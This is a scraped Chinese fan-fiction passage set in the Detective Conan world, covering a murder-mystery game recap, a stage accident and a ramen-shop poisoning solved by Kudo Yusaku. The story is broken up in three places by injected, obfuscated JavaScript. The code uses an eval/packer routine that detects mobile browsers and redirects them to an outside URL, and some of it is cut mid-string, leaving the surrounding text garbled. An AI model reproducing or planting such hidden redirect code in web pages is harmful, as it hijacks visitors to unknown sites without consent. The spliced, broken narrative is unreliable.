“所以你当时出的三根是想诈我?”降谷零意识到问题所在,他还以为对方是在自己出了一根之后发现问题不对的。 “对啊,”有里回答得理直气壮,“要是我当时出了别的反而会被你发现不对劲吧,不过可惜,你当时拿了一根就证明你也已经发现了。” “你真厉害。”诸伏景光点头,“毕竟我们每个人都有一段时间可以用于计算和数数量。” “太棒了!”沙纪小咲贴上去给有里一个大大的拥抱,“我就说你这聪明的小脑袋瓜干什么都好。” 喂喂,学姐你是不是忘记了自己现在的立场啊。 “那么现在各位有二十分钟的讨论和推理时间,请在最后回到初始房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我也想啊,”降谷零无奈耸肩,“总不能凶手自爆吧。” “诶!竟然是你吗?”完全推错了,中原千奈再一次提醒自己,不要因为脸就忘了一切啊! “那我呢!”沙纪小咲站起来,“我写对了啊。” 虽然带着半蒙半猜的性质,但是她最后还是填了降谷零的名字上去。 “你们两位,”二阶堂亚美指了指西园勇太和沙纪小咲,“各猜对了一半……太可惜啦。” “一半的意思?”沙纪小咲醒悟,“两个凶手吗!” 两人一对视,西园勇太报出了自己的答案:“我写了外守有里。” 至于另一个,他填了诸伏景光——单纯是因为他在观察中发现外守有里看向这个男生的次数最多。 这又是什么发展...... “我可以讲一下案件的缩略版,”真凶之一的有里开口,“你们可以对应一下自己已知的线索,梳理思路。” 15. 案件复盘 “我可以讲一下案件的缩略版,”真凶之一的有里开口,“你们可以对应一下自己已知的线索,梳理思路。” 【这里发生了连环袭击案件,伤者年龄分布较广,男女皆有,职业各不相同。】 “这在档案里都有,看起来凶手选人很有随机性。” 【伤者均为头部遭受重击,送往医院后均抢救无效死亡。】 “是的,犯人应该不是为了制造不在场证明或者扰乱时间线,只能从这个行为本身导向的,去往医院的结果倒推。”这一点不难想到。 【凶手作案频率越来越高,以及受害人的血型。】 “O型血和B型血,虽然信息不太全面,我认为最后一位死者的血型应该也是B型吧。”诸伏景光猜测。 “没错,”有里把最后一份资料也交出,“死者山科加奈,B型血。” “所以跟输血有关吗,B型血的死者占了大多数,再加上一个几乎万能的O型血存在。”沙纪小咲找对了重点。 “并且这里和作案频率变高也有联系吧,”降谷零补充,“或许是因为‘我’认识的人有输血的要求,才会急于下手。” “其实这里已经很明显了,”西园勇太提出自己的看法,“想要找到这些不算十分常见的血型的人精准下手,必然是有途径得知这些人血型的人。” “所以你会想到外守前辈啊,”中原千奈抬头,“所以凶手必然是在血库或者医院工作的人才有可能,这里唯一沾边的人只有外守前辈这个医生角色了。” 【是的,我这里还有提醒,在医院那里你们听到的对话。】 【关键点,死者的承诺,家属不好协商,24小时。】 “一般来说,医院不会限制警方的办案时间,”降谷零作为共犯完全没有自觉啊,“再加上都是被送入医院后死亡,所以大概率在死者身上有什么需要24小时内在医院进行的操作。” “所以?” 诸伏景光淡淡道:“一般来说,器官移植的有效时间因器官类型而异。心脏通常为4-6小时,肾脏为24-36小时,肝脏为12-24小时。” “我想24小时这个时间点应该是特意提到的有用之处,但同样比起其他的6小时或36小时的选项,可以被理解成‘一天’的这个提示,又存在刻意模糊的意图。” 【毕竟不能让你们太轻松就推到这一步啊。】有里点头,这些小细节他们都磨了很久。 “所以凶手和医生合作,杀害了本身签订了死后器官捐献同意书的人,同时凶手应该处于自身需求,要合作找到提供输血的人。” 可以,降谷零同学作为犯人自我剖析地很到位。 【那么接下来是降谷同学的那条线,说实话,他是犯人这一点主要思路设定在各位一开始拿到的角色信息上。】 “啊!”沙纪小咲简直头疼,别提一开始那点时间根本不够他们把剧本记下来,现在又过去了这么久,中间还加入了游戏环境,剩余的印象就更少了…… 【主要是时间上。】 “当时我是因为我们乐队结束了表演所以才会发现受害者,因此对时间上印象很深。”诸伏景光开了个头,“从记者和你的话可以推断,我们之前应该认识,还是同一个组合的朋友,所以他知道我现在的表演时间不算很困难的事情。” 中原千奈终于想起来自己遗忘的东西:“我是因为在降谷君的签售会结束发现的受害人,这样看来确实重合点都在降谷同学那里了。” 降谷零自我分析:“作为艺人,吸引记者朋友到固定地点应该也不是难事,发现最后一名死者,其实我的本子上写的是‘听到了经纪人的尖叫,我急忙跑过去查看’。” “好像是,”沙纪小咲发觉不对劲,“怪不得当初在第二现场大家讲自己的时间线时我就觉得不对劲,虽然我们是都发现了死者,并进行了后续处理,但被你先开口,很容易误导成‘我们一起发现了死者’,这样的细节倒是很容易让人放松警惕呢。” “作为凶手的自保,希望您别介意。”降谷零笑了笑。 “那倒不会,”沙纪小咲摆了摆手,“只是觉得和你们这些人拼脑子真是错误。” “不过学姐也投对了我呢。” 说到这个,沙纪小咲坦然,“我只是觉得你是这里面的焦点人物,而且从诸伏景光的曾经密友角色、中原千奈的粉丝角色、我这个经纪人角色来看,都会对你有天然的保护滤镜,这样的待遇似乎过于特殊了。” “回答正确!”有里十分满意,“这其实是我思考的一条暗线,你们三个人其实都不希望降谷零作为凶手被指认,所以当初设计了分支剧情,你们三位在知道真相后选择袒护他,并且一致投票给全场唯一置身事外的记者角色。” “隐藏结局的意思吗,”诸伏景光有点意外,“不过这个很难,因为彼此因为并不信任所以不好沟通。” 有里挑眉,“所以你在确认降谷同学是犯人之后竟然也没有选择和其余玩家进行分析?” 这一点……诸伏景光难得有些局促,他承认自己带了点私心,不想自己的小伙伴被全票出局。 “那为什么不能是你的单杀呢?”沙纪小咲提问。 “这个啊,因为受害人有男有女,显然一个成年女性只靠自己的力气很难做到这一点。”有里很有耐心地解答。 看来今天的小型案件模拟游戏进展地还算成功,二阶堂亚美把他们准备好的纪念品和奖品拿出来。 当然其他人得到一个定制指环作为参与奖,唯一的胜利者诸伏景光同学可以挑选随机一块胸针作为纪念。 “这可是限量版,我们全体项目组的同学每人动手做了一个,”二阶堂亚美解释,“因为你们是第一个同感的小队,你又是第一个通关的同学,所以这里就是全部啦。” 刚刚还在因为指环喜悦的两个女生瞬间被这边吸引,“这个也太好看了吧!” “毕竟我们制作组都是能布景出这样场所的同学,做这个当然也不在话下。” “我要这个就好。”诸伏景光从角落里翻出了那个看起来不太协调的东西…… “这个,长得还挺抽象……”降谷零怀疑自己幼驯染的审美怎么变成了这样。 看起来是两个完全不相容的东西强硬地拼凑在了一起——一块手掌大小的五颜六色的金属版上,被镶嵌了一个比手指大的水滴,你说是钻石吧,又不太像,毕竟谁家钻石长尾巴,虽然尾巴被固定在了角落,但看起来还是像个蝌蚪或者气球。 至于上面乱七八糟的上色,只能说相当不走心啊。 制作人有里——现在就是没眼看,非常没眼看。 “要不你重新选一个吧,”二阶堂亚美也有点不忍心。 “这也太不给面子了……”有里小声吐槽,“丑是丑了点,这可是我在实验室做了好久才搞出来的鲁伯特之泪,要不是你们催的紧我才不舍得用这个充数……不是,上交。” “你在说什么?”沙纪小咲怀疑着转身。 “没事。” “没事,就要这个就好。” 不愧是诸伏景光,就是有眼光。 洞悉自己幼驯染内心的降谷零叹气——hiro又是因为考虑把好的留给其他人,自己放弃了更优选项。 “你一会有空吗?”西园勇太抓住机会,“我们班那边今年准备的是咖啡屋活动,有兴趣去看看吗?” 很好,听起来就很无聊的样子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424123|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有里睁大眼睛,做出符合这边常人的惊喜模样,很快又急忙摆手表示遗憾, “啊那听起来确实很有意思呢,不过我这边还有学生会的工作要处理,”她举起了手中的小本本,“有空我一定会过去的!” “那好吧,”西园勇太遗憾地说,“来的话记得提前联系我。” “那先谢谢前辈了。”有里这话说得迅速,西园勇太一点没来的说点别的。 在目送人离开后她将刚刚随手从二阶堂亚美手里顺来的小本子塞回去。 “谢啦。” “可以啊,”沙纪小咲勾住她的脖子,“这一套接一套的,越来越熟练了。” “什么跟什么啊,”有里苦笑,“毕竟部门之间还有一些不可避免的接触,而且西园前辈的热情估计再持续一周就差不多了吧。” 沙纪小咲点头又摇头,“虽然棒球部的活动是很容易吸引女生,不过你没听说过得不到的才是最好的吗?” 有里戳开她的额头,“我求求你少看点你那些少女漫了,还不如看假面超人。” 事实上她这话也不是空口无凭,光从自己注意到西园勇太开始,这位前辈身边就换过五个女朋友,比换球服的频率还高...... 不过既然也没做出什么出格的事情,加上她的主动回避,到底也没必要把事情都说开。 “和我去逛逛?”沙纪小咲根本不是个能闲下来的人。 有里没有包袱地打了个哈欠,“抱歉,我得去补个觉,晚上还有晚会的主持,所以这会饶了我吧。” “对了,”秉持着“人尽其用”的准则,“我觉得作为有希子女士影迷的沙纪小姐,一定很有演戏的天赋。” 有里把沙纪小咲的手交给了二阶堂亚美,“不是说缺人手,这不是现成的人。” 身后的走廊里传来沙纪小咲的怒吼,有里自动屏蔽,毫无负担地跟着诸伏景光和降谷零一起往下走。 诸伏景光失笑,“感觉你变了好多,好像又没变。” “嗯哼?”这是示意他详细说说。 “感觉你现在能和大部分同学相处地很好了,”诸伏景光回忆两人在长野县小学的那段时光,“当时好像只是跟着我跑。” 那个时候啊……好像已经是很久之前的事情了。 “可能你的人格魅力太大,”有里没心没肺地开玩笑,“所以景光因为我没那么粘你变得落寞了吗?” “你在说什么啊!”诸伏景光微微炸毛,“刚想说你现在沉稳了很多。” “诶诶诶,我们才15岁干嘛要一直表现得那么沉稳,”想到这里,有里主动cue了降谷零,“你们在一起的时候他也是这个样子吗?” 这话降谷零还是认真思考了一下,“hiro大多数都是相当稳重的样子,很少见他情绪有太大起伏,不之前过在看到假面超人的时候会突然触发可爱属性。” “诶——” “什么啊,”现在被两面夹击的诸伏景光有些局促,“zero不要乱说。” 有里和降谷零心有灵犀地对视一眼,指向不远处被人群围起来的一个小摊,“看,假面超人的模型!” “哪里?”诸伏景光睁大了眼睛。 “哈哈哈哈哈,”这家伙还真是一点都藏不住事情,或者说对他们太不设防了吧。 不过就算是猫猫也会发飙的,于是刚刚短暂和降谷零结成盟友的有里现在脚下生风,一溜烟就没影了。 “再见!”她在诸伏景光的怒气值蓄满之前飞快逃离这块是非之地。 “zero——”诸伏景光和善地搭上了自己幼驯染的肩膀。 不过,有里真的没关系吗……诸伏景光盯着她离开的方向皱眉。 16. 故乡合奏 这一觉睡到了下午四点,晚上的舞台也是布景在室外的,相比起学校社团每年上报的固定节目,还是中间随机报名或抽选的互动更吸引人的注意。 不过今晚来看晚会的人不会太多,毕竟刚好和话剧社那边的表演时间重合,就连原定的主持人时间也是多方调和,才让有里这个非专业人士紧急救场—— 拜托,那可是息影的有希子再次登台,虽然只是节目最后的一小段经典再现,但这个噱头已经足以吸引人了好吗! “真是太感谢你了有里,”主持人平田结爱拉着她简直要泪洒现场。 “没事,”虽然女演员确实很有吸引力,但活动还是得有人接手啊。 “这里是剩下几个表演的场次,还有随机报名环节,辛苦啦!” 往年这个点应该会被围地水泄不通的舞台现在人稀少地可怜,台上街舞社的同学们在尽力地演出,台下却连欢呼声都少得可怜。 有里无端有些烦闷,虽然没亲身体验过舞台上朋友们的训练日常,但单单从门外汉的角度说,能够卡住每一个鼓点,她们每一次抬手的动作从侧面看去都是一条直线,这绝对不是一件简单的事情。 为了主持换上了小礼服和高跟鞋,现在在这里占了这么久已经开始疲惫更多的是对自己的懊恼—— 有现在这个场景他们应该预料到的。 话剧社的邀请计划早就上报,舞台要持续一天,节目都是抽签决定的演出顺序看起来十分公平。 但如果他们在安排的时候再能细心一点,是不是可以规避掉这部分演出时间的交叉点。 脖颈上冰冷的汽水刺激地有里回神,她往后退了半步。 “你怎么来了?”看见是熟人有里又放下了防备。 “不是你说晚上有主持,”诸伏景光笑了笑,把刚刚那瓶汽水拧开插了吸管递给她。 “谢谢……”冰凉的触感让她的烦闷值降低了些。 “喂,我也在这里啊!”降谷零不相信这位没看见自己。 “咦,是降谷同学啊,”有里的目光闪了闪,“天色太晚我没看清呢。” “话说一会的环节可以允许我们上台表演吗?”降谷零今天难得没跟她杠,站到了另一侧。 “可以是可以,”有里犹豫了一下,还是决定坦白,“但是你们看见了,这里的人除了你俩都是工作人员。” “没关系,”诸伏景光将背后背的东西放下来,从里面取出自己的吉他,“本身我和zero就是为了想要一起演奏。” “当然,”诸伏景光回头,在舞台的灯光的照耀下,眼里好像格外明亮,“不是为了让谁看见,只是想和彼此合作罢了。” 啊……该说什么,真不愧是你们俩的风范嘛。 “那我还真是幸运呢,”有里把汽水放下,幸好没弄花她的口红,舞台上的姑娘们永远热情洋溢,这个年纪比起被关注,或许和同伴一起站在这里,是更为宝贵的事情。 “可以作为你们的观众。” G大调故乡。 比起前面急具冲击性的鼓点隐约,这首曲子,似乎不太适配这样的环境。 灯光组的同学也发现了这样的问题,索性将原来那些花花绿绿的光束全部关掉。 只留下一道逆光,影影绰绰地显露出两人的身影。 月光并不足够明亮,于是两个轮廓也只是忽暗忽明的显现。 但是很温暖。 能听出来一方的吉他弹奏还不够熟练,但在另一位的带领下很快恢复了正轨。 和声像清澈的溪水,洗尽一切尘埃,柔柔地流淌。 无限温柔。 —————— 她大概能理解M25的反响为什么会那么好了。 观众只是看到了29岁时堪称六边形战士的降谷零,提起好友时眼里难以掩盖的一丝落寞就足以痛心,但对于他们来说,是真实存在过的十几年人生。 “怎么样?”台上的两位表演结束正往台下走。 有里刚好站在舞台一侧,侧身等他们通过,竖起了大拇指:“要感情有感情,要技术也全是感情。” 诸伏景光低声笑了笑,“听起来像是夸奖又不是。” “明显是夸奖好嘛。”她提起裙角抬头,一道黑影正飞速从上方降落。 —————— 说实在话,有里自己到现在也不理解为什么刚刚自己要冲上去。 以至于三个里面离掉落灯具直线距离最远的自己,现在坐在学校附近的一家小诊所里。 万幸的是只是骨裂的程度,没打石膏。 医生把她的脚踝复位,开了药说静养十天可以落地,二十天可以慢慢走路。 拜托多少也应该对降谷零和诸伏景光的反应能力有点数了吧…… “你多少也应该回过神了吧。”降谷零用手在她眼前晃了晃。 刚刚摔倒的时间觉得还好,现在脚已经很痛了,有里好不容易才能放空自己,不在这里表现得呲牙咧嘴。 想到这里,她恨不得回到半个小时前狠狠地拍自己的脑门,——您知道自己在干嘛吗? “你知道有一种死亡叫做社会性死亡吗?”有里目光呆滞。 如果说是为了救人受伤也好,可她只起到了在一阵混乱中自己踩到了裙角,然后完美摔倒的效果。 还连累了一旁扶住她的诸伏景光。 “要笑就笑吧。”有里胡乱抓了几把自己的头发,她摆烂了。 “虽然我是很震惊你的平衡能力,”不愧是降谷零一贯的风格,“但是你确实也是好心,我也不能够在现在嘲笑你吧。” 好吧,看在一般句子里“但是”之后的才是重点,有里姑且没计较他前面那句话,毕竟如果哪天降谷零也变成了一脸担心的样子。 要不就是他疯了,要不就是自己命不久矣…… “话说这里没有什么止痛的药吗?”这种疼痛已经扩散到骨骼周围的肌肉和神经,就硬生生抗吗? “这里的条件,最多只有冰袋能用,”降谷零知道她不好受,但毕竟只是私人诊所的程度,“不过唯一的一名医生,现在还在隔壁给hiro处理伤口。” “我去问问。” 诸伏景光因为刚刚扯了有里一把,也被力量顺势拽倒,现在正在被紧急处理伤口中。 “那还是算了,”有里把人拦住,“先处理那边的事情吧。” 诸伏景光自认为自己拥有一定的医学常识。 虽然大部分时间都是他在帮zero处理伤口,但这不意味着在过去的十几年里,他从来没有受过伤。 相对而言,他是一个疼痛阙值不算低的人,例如对于自己肘关节的擦伤,他不觉得十分困扰,但身上其他部位传来的不适感又是确实存在的。 这份疼痛感十分明显,虽然不是无法忍耐的程度,但也不是诸伏景光可以忽视的了。 所以在医生去准备消毒材料的时候,诸伏景光又认真地检查了一下自己的左脚……从外表看没有任何肿胀。 连基本的软组织挫伤或者皮肤破裂的痕迹都没有。 考虑到或许是因为自身体质不明显,诸伏景光又弯腰按压了痛感最强裂的地方——一般来说,这种动作会增加痛感,但显然,不适用于现在。 “还有哪里受伤吗?”医生处理完这位少年胳膊处的伤口,发现这位的话真是少得可怜,好像一直在想事情。 “应该……没有了?”诸伏景光回神,不确定自己是不是应该让医生检查一下自己的左脚。 “什么叫应该,”脱下手套的医生又转过身认真地看了一圈,“自己哪里痛应该有数吧,现在可以用冷敷缓解,48小时之后热敷。” 说到这,今晚工作量远超出平时工作负荷的医生才恍然想起来,“刚刚应该先给那个女生冰袋让她缓缓。” “她伤的是?”诸伏景光慢慢站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424124|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝试着换腿支撑,自己的肌肉都没有什么异常,痛感也很稳定。 “左脚那边,”医生手底下速度明显加快了,“那孩子比你严重,是骨裂,估计这会非常不好受……还挺能忍的。” —————————— 虽然一贯能保持着良好的待人处事的教养和波澜不惊的情绪,但一路上有里和降谷零都察觉到了他的不对劲。 有里临时在诊所足了一把轮椅,只好麻烦两位好心同学送她回宿舍。 作为唯一“完好无损”的降谷零,现在担任了推轮椅的角色。 “景光?”好像这次相遇有里很少用这个称呼,不过现在,她试探着开口,“刚刚真是太感谢你了。” “没事,”诸伏景光到现在也算了理清了自己的死路,虽然这个猜测相当诡异,但在无法直接验证的情况下,他的相信程度还是超过了百分之五十。 毕竟又不可能直接把对方拉过来打一顿,然后验证自己的猜想吧。 “你现在感觉怎么样?” 更不对劲了——有里沉默,如果是按照以前的诸伏景光,肯定会在上个话题多说两句,企图降低对方的愧疚感或者证明自己这边问题不大。 但现在这个问题,似乎只是不想多说话随口一问? “我……没事的,”于是有里也只是干巴巴地回应。 后面的降谷零听着两人的对话感觉头大,虽然自己的幼驯染一副有心事的样子,但坐着的这位思维似乎已经发散到“下辈子如何报答他了”。 这两人对一句话有八百个心眼子解读的人,之前是怎么玩到一起的? “我去药店拿药,你们等我一下。”降谷零自然地停在了这个点还在营业的药店门口,带着医生的处方走了进去。 刚刚三个人还好,现在两个人相处,如果不说话,气氛似乎是有些尴尬。 “你还有哪里受伤吗?”虽然没办法准确验证,诸伏景光尝试从别的地方探索答案。 “没有没有,”有里赶忙回答,恨不得自己站起来推着诸伏景光坐轮椅回去。 不对,这样好像更奇怪了。 她不是在诅咒他啊!!! “这样啊……”诸伏景光察觉对方说这句话的时候语速有点过于快了,反而像是在掩饰什么? 难道还有别的地方受伤不想开口,这样不就没办法判断了嘛。 “那个,真的很抱歉!” 这突如其来的一嗓门把诸伏景光从胡思乱想拉回到了现实世界。 “啊?” “就是,”有里觉得今天如果不把话说话,自己是绝对睡不了一个好觉的,“真的很抱歉刚刚也害你受伤了。” “这有什么好道歉的?又不是你弄坏了设备,”诸伏景光失笑,“而且要说起来还是你为了救我才会有这一出。” “可别再提救人这件事了,”感谢黑夜遮住了她红透的脸颊,有里小声嘀咕,“事实证明,我果然不适合救人。” “你在说什么啊,”诸伏景光低头和她平视,“我看起来是这么不讲道理的人吗?” 这下乱飘的视线没办法再躲避,有里抬头就撞进了一双蓝色的漩涡里,她真的觉得诸伏景光的眼睛比任何酒都要醉人。 “不是……”她好像永远也没有办法对着这双眼睛说谎,“就是你刚刚看起来很不开心……” 她诚实道。 诸伏景光的理智回笼,重新思考了自己刚刚的回答,可能会让人产生误解,于是那双本就上扬的眼睛更加上挑,“怎么会,不如说我很开心。” 毕竟有里当时的姿态,完全是企图让自己用后背承受那一击,幸好zero喊了一句自己下意识扯过人看看躲过。 要不然绝对不会是现在这样的程度,那个场面现在想来还是有些后怕的。 “不过以后不要这样做了,太危险了,”诸伏景光的双眸闪了闪,“现在还很痛吧……脚上的伤。” 17.推理作家 买药当然不需要太久时间,这个点店里的人本就很少,降谷零效率很高地结果工作人员按照医生处方配备的药后就离开了店面。 发现在刚刚那一段时间后人完全恢复了正常状态? 尤其是自己的好友总有一种,终于确认了什么心事的样子?——你们刚刚到底做了什么啊! 诸伏景光在蹲下身的时候才发现,明明已经是秋天了,这人还在一直冒汗。 刚刚自己和降谷零的视角当然不会发现。 忍得很辛苦吧……还要照顾自己的情绪,有些时候诸伏景光在疑惑有里为什么总是摆出一副比自己大的“监护人”心态。 单从年龄上来说,也是自己更大一点才对——再加上父母那边的关系,提到现在在东京的两人,也是提醒自己多照护对方一点。 好像完全相反了呢。 “嗯……其实还好,现在有在习惯,”有里低下头,这应该算是她这么大以来受过的最严重的伤? 就算自己强迫注意力在和诸伏景光的谈话上,还是不可避免地被脚上传来的一阵一阵的刺痛拉扯回去。 除此之外,她真的分心乏术。 另一侧。 虽然这件事情听起来很荒谬,但是单从现阶段的表现来看,诸伏景光从自己身上感受到的痛感,推测对方现在一定不好受? 这好像已经超出了自然科学可以解释的范畴,他当然不可能突兀地说出来。 “那我们走吧。”打量了半天,降谷零恨自己不会读心术,只好融入这份气氛。 ———————— 发生了这样的事故,学生会那边现在忙成一团,作为学生会负责人之一的有里果断选择了以事故受害者的身份请假在宿舍躺平。 经过昨晚一晚的折磨,有里终于在天亮的时候看看入睡,等到醒来已经到了傍晚时间。 好在现在已经没什么痛感了,当然,她也没打算这么早返校。 她从冰箱拿了新的冰袋,单腿跳着到了外面的座椅上,从书堆最上方又拿起了那张表。 学校的课程她早就自学完了,老师也很轻易地给她批了假,刚好现在有自己的时间研究过段时间的跳级准备。 高中生升入大学,利用制度的话只需要两年就可以提前升入,当然其中校长推荐这一要求,有里认为这两年尽心尽力地在学生会刷脸应该也不算难事。 剩下的就是筛选有这项制度的学校和专业。 允许跨级学生的高校不多。 幸运的是,作为这里top1的东都大学自然规定该制度的存在,有里在自己从官方资料那里拿到的专业目录那里看了一遍,还是圈下了“医学部”。 昨晚的事情给她提了醒。 最为普通人,如果真的有机会能够在短时间内接触到大多数人,医院无疑是最优选择。 虽然不知道自己能不能好运到在医院遇到苏格兰,但是关于医疗这方面的能力,怎么看都会让自己在遇到险境的时候还有点用处。 剩下的,就是准备明年年初的校考和面试了。 顺利的话,在明年四月就能够以正式的本科生身份进入东都大学攻读。 当然,拥有这个身份,自己如果想要参与或调查一些事情,或许也会更加容易。 啊……决定完日后规划的有里趴在桌子上。 可惜又要和刚见面不久的诸伏小同学告别了。 如果说她真的找到苏格兰的话,一定要暴打他一顿,才能出了这份气——这么多年矜矜业业地学习! 不对,如果他受伤自己好像也会不好过。 总之还是先狠狠地敲诈他一顿美食然后就彻底断联吧! 由于帝丹中学在米花町的范围内,加上这两年工藤优作的频频活跃,有里一直觉得自己安然无恙地在这里呆了近两年,还没有碰到任何凶杀案已经是非常幸运,甚至神奇的事情了。 于是今天在吃拉面的时候旁边的女士忽然倒下,随即店里爆发出明亮的尖叫。 她的内心甚至生出了一种——终于来了的心态。 但不可否认作为一个普通人,即使经历过小时候的那起时间,有里自认为现在的心理承受能力已经算是相当不错了。 可是现在,哪怕死者的死亡状态不是那么“可怕”,但依然是相当具有冲击力的一件事。 带队进来的警官戴着一顶棕色的帽子,身材很匀称地横向纵向等比例发展? 大概是因为她未成年的身份,虽然坐在离死者最近的位置,但在现场三位嫌疑人里还是获得了最友好的待遇。 有里真的怀疑那位工藤优作先生有什么“凶案案场雷达”的出厂设定,居然这么凑巧在这个时间点路过,然后看到了警戒线就自在地走了进来。 “啊!工藤先生,”目暮警官看到老熟人很是兴奋,这位推理小说作家已经帮搜查课解决了不少案件。 是相当靠谱的存在。 “目暮警官,”工藤优作很快进入状态,“可以把案件经过告诉我吗?” 难道这就是艺术来自于现实? 有里震惊这位大作家每天三次元忙着破案,自己又能创造出二次元世界的无数推理剧情。 真是狠人啊。 死者是清水上申,一位媒体工作者。 两位嫌疑人一位是店里的员工田中希子,一位是和死者隔了一个座位的客人高桥恭一。 在有里的视角,后者的表现更加耐人寻味。 因为她注意到在发生命案的时刻,这位高桥恭一先生下意识是拿出手机写了些什么——看起来是在和什么人联系。 有什么事情需要在发生命案的第一瞬间先通知别人的呢? 有里的思维不受控制地发散。 等到负责“看护”她的加奈警官第二次叫了她的名字才回过神。 这不可避免地吸引了工藤优作的注意。 对方态度依然很好,“这位同学,你刚刚是注意到了什么特别的事情吗?” “完全不往我是犯人的角度推理吗?”有里刚刚就想说了,工藤优作从刚进入这家拉面店就把注意力直接放在了另外两位嫌疑人身上。 她不认为这位名侦探也是依靠年龄就笃定她不是凶手的人。 工藤优作扶了一下自己的眼镜,没有丝毫不耐烦地说:“因为你腿上有伤吧,如果要离开座位进行下毒的操作,一定会在店里表现的非常惹眼。” 这家拉面店对于社恐人士非常有好—— 每个座位中间都有木板作为间隔,是没有办法 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“果然呢,这样会让左腿的肌肉更加用力……”这位非常富有有同理心的警官立刻起身去找垫子,让她能坐得更舒服一点。 “原来如此,”有里点头,“您真的很敏锐。” 工藤优作的目光应该只是在刚进门的时候往她这里扫了一眼,就能瞬间判断出来这件事情——真是令人恐惧的存在。 “那么你呢,刚刚有注意到什么吗?” 有里点头,在这里她自觉也没什么好隐瞒的,“虽然不知道是不是有帮助,但是那位高桥恭一先生,在发生命案的第一反应,看起来是用手机和谁发了信息。” 工藤优作摸着下巴思索了一下,“我知道了,谢谢你。” “您太客气了。” 虽然随后有里看到工藤优作走到那位石川恭一面前小声说了什么之后,然后这起案件好像变成了单纯的证明题。 有里一边头脑风暴一边和加奈警官交谈。 在工藤优作确认了她的清白之后,这位警官先生完全就把她当成了一个小妹妹。 交流的话题包括但不限于—— “十五岁的年纪吗,那还是在读国中啊。” “诶,家人不在这边,一直自己生活吗,那还真是坚强呢。” “打算考东都大学啊,那是相当不错的学校呢,一定要加油啊。” 加奈川是今年警校毕业进入搜查课的新人,现在认识了这样一个年纪比自己小不了几岁的“妹妹”,又是在受伤+遇到命案+一个人生活的buff叠满。 于是警校学到的那些如何安抚群众的功课全然体现,就差当场认兄妹了。 好在工藤优作火力全开后飞速找到证据证明了员工田中希子的罪行—— 关键证据是对方藏在涂抹在蛋壳上的毒液。 每一次点单的最后,这家店的员工总是以深深的鞠躬结尾,这样一来在起身时确认自己的下手目标也就有可能发生。 当然,这份死者追加的溏心蛋更成为了对方绝妙的犯罪工具。 死者在自己剥蛋壳的时候不可避免地触碰到毒液,随后跟随这进入口中也就是自然而然的事情。 有里感叹果然柯学世界没有真正无法让人下手的地方啊。 18.四个问题 作为原著里的主角父亲,有里确信这位爸爸一定是智商碾压级别的存在。 于是做出了一个有点出格的举动? “工藤老师,”她拿上自己的拐杖用自己最快的速度跳到工藤优作身边。 “有什么事情吗?”工藤优作对这位女生印象不错,这个年纪在命案现场能保持冷静还能提供一些信息,已经远超常人了。 “请问如果我想要寻找一个人,或者说判断一个人是不是就是我要找的那位,有什么方法吗?” 工藤优作停下脚步,有里感受到带有审视意味的目光在自己身上停留了两秒,但她没有退让。 工藤优作收回了视线,又用他那一贯沉稳的声音说:“如果你遇到了什么事情,可以向警方求助,或者请侦探调查也是不错的选择。” 果然还是这种答案……有里不免有些失落。 但下一秒,就听到工藤优作接着说道:“但如果是我,可能会痛过这个人的家庭出身,宗教信仰,科学鉴定的方法去判断。” “毕竟性格或者行为可能会改变或者伪装,但是出身,信念,DNA对比等因素是很难被改变的。” “实在不行,就从你掌握的最基础的那些信息出发,总会有端倪。” 这确实拓宽了有里的思路。 “虽然不知道你遇到了什么,”工藤优作话里的关心不似作假,“但还是可以信任警方的,就像……” “刚刚那位石川恭一一样?” 有里脱口而出。 话题沉默了几分,但足以证明有里的猜测,工藤优作也不再掩饰,他的本意是想说那位一直和女生聊天的加奈警官。 反正当事人已经离开,他不在意再在这里耽误点时间,“说说你的推理。” “推理的程度达不到,”有里中肯地回答,“主要还是基于对您的信任。” 工藤优作不会是一个好糊弄的人,能够在短暂交流之后就让工藤优作完全不再怀疑的对象。 应该是铁好人身份。 再加上刚刚的对话里工藤优作不断提到的警方,说明这位先生一定是对警察抱有极高的信任。 如果有什么人是只用说两句话就能打消他的怀疑的话,最大的可能性果然还是警察。 刚刚的话确实是猜测,但工藤优作对此没有遇见,所以短暂的沉默让她认识到自己触碰到了真相。 于是有里接下来的推理也敢说出口: “如果说只是临时过来扮演成群众的警视厅警察犯不着这样遮掩,甚至在受到怀疑的时候可以亮明自己的证件,也就不用被搜查课的警官来回审视。” 这样更耽误时间,还容易暴露自己的身份不是吗。 工藤优作没有接话,这给了有里继续往下说的勇气。 “结合石川先生之前发短信的行为,特意现在了这家还算隐蔽的拉面店……身份敏感的不只石川恭一,还有手机对面的那位。”有里说完这段话的时候呼吸都急促了几分,感觉是什么很厉害的大事件。 这不是很像是这位警官要和什么人接头,为了不让对方出现在众人面前阻止了那位前来赴约? 看来那边的某人更有躲避大众目光的必要性。 完全往谍战片的路线走啊! 工藤优作笑了笑,压低声音,“真是有趣的推理……其实我当时已经差不多了解了这起案件的经过,只是从他那里再次确认了死者背后没有其他人经过的痕迹,毕竟你和那位石川先生是刚好把死者夹在中间的位置。” 有里的脸瞬间爆红。 